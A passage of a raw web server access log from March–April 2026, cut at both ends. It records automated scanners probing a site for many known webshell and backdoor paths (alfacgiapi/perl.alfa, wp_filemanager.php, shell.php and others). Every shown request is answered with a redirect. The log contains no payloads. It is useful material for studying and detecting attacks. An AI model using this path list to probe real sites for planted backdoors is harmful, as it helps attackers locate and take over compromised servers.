Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:47:46 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:48:11 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.63.83.113 - - [31/Mar/2026:21:55:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.39.97 - - [31/Mar/2026:22:57:50 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:23:03:10 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.242.3.19 - - [31/Mar/2026:20:30:50 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:01:28 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:01:46 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.134.186.61 - - [31/Mar/2026:21:06:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [31/Mar/2026:21:26:20 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 4.205.39.97 - - [31/Mar/2026:21:30:54 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:57:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:57:51 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:58:13 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:58:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:23:02:40 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 206.189.131.178 - - [31/Mar/2026:23:16:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:01:28 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 35.185.184.19 - - [31/Mar/2026:19:45:32 +0300] "GET / HTTP/1.1" 301 795 "-" "curl/7.83.1" 35.185.184.19 - - [31/Mar/2026:19:45:33 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "curl/7.83.1" 203.175.125.130 - - [31/Mar/2026:20:37:33 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 4.205.39.97 - - [31/Mar/2026:21:30:54 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:21:31:35 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:57:51 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:58:24 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:22:58:40 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [31/Mar/2026:23:02:40 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:01:28 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.190.142.176 - - [01/Apr/2026:00:18:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 16.176.145.208 - - [01/Apr/2026:00:55:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:58:45 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:58:45 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:58:45 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.205.39.97 - - [01/Apr/2026:00:58:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.216.166.200 - - [01/Apr/2026:00:46:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.39.97 - - [01/Apr/2026:00:59:32 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 158.158.49.164 - - [01/Apr/2026:03:05:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 116.76.39.243 - - [01/Apr/2026:01:55:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3695.34 Safari/537.36 Edge/18.18362" 43.134.141.244 - - [01/Apr/2026:02:28:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 63.143.40.23 - - [01/Apr/2026:02:02:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 170.106.143.6 - - [01/Apr/2026:01:46:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.158.49.164 - - [01/Apr/2026:03:05:50 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 185.117.225.244 - - [01/Apr/2026:04:28:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 185.242.3.19 - - [01/Apr/2026:04:03:41 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 141.98.11.224 - - [01/Apr/2026:03:36:55 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 185.242.3.19 - - [01/Apr/2026:03:49:50 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 198.235.24.139 - - [01/Apr/2026:03:51:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 185.117.225.244 - - [01/Apr/2026:04:28:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 185.242.3.19 - - [01/Apr/2026:04:14:47 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 185.242.3.19 - - [01/Apr/2026:04:12:33 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.91.204.128 - - [01/Apr/2026:04:53:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:53:31 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:20 +0300] "GET /wp-asudo.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:24 +0300] "GET /wp-moonka.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:34 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:24 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:56:34 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:57:18 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:57:53 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:58:17 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:00:52 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:01:30 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:03:35 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:03:58 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:04:34 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:05:31 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:09:08 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:09:37 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 4.205.39.97 - - [01/Apr/2026:04:38:59 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.91.204.128 - - [01/Apr/2026:04:53:46 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:53:49 +0300] "GET /ahutr.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:56 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:46 +0300] "GET /8pewqMTX.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:57:09 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:57:12 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:53:15 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:14 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:57:27 +0300] "GET /help/crnpwfiu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:57:45 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:59:17 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:00:24 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:00:39 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:02:53 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:08:02 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:53:36 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:10 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:14 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:51 +0300] "GET /wp-thi.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:15 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:24 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:43 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:53 +0300] "GET /ddpxi.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:57 +0300] "GET /cdkfu.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:57:01 +0300] "GET /IcC7p.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:53:42 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:53:45 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:04 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:01 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:34 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:56:05 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:56:58 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:58:02 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:01:37 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:03:07 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:03:19 +0300] "GET /wp-sign.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:03:45 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:05:03 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:40 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:08:38 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:09:46 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:10:11 +0300] "GET /wp-admin/css/colors/light/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:00 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:29 +0300] "GET /dichku.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:48 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:58:47 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:59:02 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:04:03 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:26 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:08:23 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:08:53 +0300] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:09:24 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:32 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:42 +0300] "GET /zlnckdxn.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:47 +0300] "GET /vvedr.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:51 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:08 +0300] "GET /htto.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:53:56 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:14 +0300] "GET /v1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:54 +0300] "GET /ws45.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:56:19 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:57:03 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:01:07 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:02:37 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:10 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:15 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:44 +0300] "GET //wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:08:16 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:37 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:37 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:41 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:00:09 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:01:17 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:01:51 +0300] "GET /explorer/index_.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:02:22 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:05:15 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:02 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:49 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:52 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:06:59 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:21 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:29 +0300] "GET /class-wp-l10n-cache.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:08:09 +0300] "GET /unloathness.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:09:59 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:10:01 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:55:57 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:00 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:53:30 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:53:36 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:30 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:59:31 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:04:18 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:05:45 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:07 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:40 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:53:55 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:53:59 +0300] "GET /abouta.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:54:05 +0300] "GET /zfe.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:56:23 +0300] "GET /xhejulap.php HTTP/1.1" 301 795 "-" "-" 20.91.204.128 - - [01/Apr/2026:04:57:21 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:52:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:52:59 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:54:25 +0300] "GET /xwpg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:46 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:50 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:52 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:55 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:55:57 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:56:11 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:56:49 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" 